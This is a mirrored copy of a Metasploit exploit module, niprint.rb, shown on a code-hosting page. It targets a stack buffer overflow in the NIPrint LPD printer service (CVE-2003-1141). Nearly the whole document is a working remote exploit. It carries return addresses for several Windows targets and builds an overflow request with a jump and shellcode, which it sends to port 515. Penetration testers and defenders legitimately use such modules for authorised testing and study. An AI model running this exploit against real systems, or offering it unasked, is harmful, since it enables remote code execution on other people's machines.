Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/lpd/niprint.rb
19719 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'NIPrint LPD Request Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in the
18
Network Instrument NIPrint LPD service. Inspired by
19
Immunity's VisualSploit :-)
20
},
21
'Author' => [ 'hdm' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
['CVE', '2003-1141'],
25
['OSVDB', '2774'],
26
['BID', '8968'],
27
['URL', 'http://www.immunitysec.com/documentation/vs_niprint.html'],
28
],
29
'Privileged' => false,
30
'Payload' => {
31
'Space' => 500,
32
'BadChars' => "\x00\x0a",
33
'StackAdjustment' => -3500,
34
},
35
'Platform' => 'win',
36
'Targets' => [
37
['NIPrint3.EXE (TDS:0x3a045ff2)', { 'Ret' => 0x00404236 }], # jmp esi
38
['Windows XP SP3', { 'Ret' => 0x7C9D30E3 }],
39
['Windows 7 x64', { 'Ret' => 0x763B35DD }],
40
],
41
'DefaultTarget' => 0,
42
'DisclosureDate' => '2003-11-05',
43
'Notes' => {
44
'Reliability' => UNKNOWN_RELIABILITY,
45
'Stability' => UNKNOWN_STABILITY,
46
'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
}
48
)
49
)
50
51
register_options(
52
[
53
Opt::RPORT(515)
54
]
55
)
56
end
57
58
def exploit
59
connect
60
61
req = rand_text_alphanumeric(8192)
62
req[0, 2] = "\xeb\x33"
63
req[49, 4] = [target.ret].pack('V')
64
req[53, payload.encoded.length] = payload.encoded
65
66
print_status("Trying target #{target.name}...")
67
sock.put(req)
68
69
handler
70
disconnect
71
end
72
end
73
74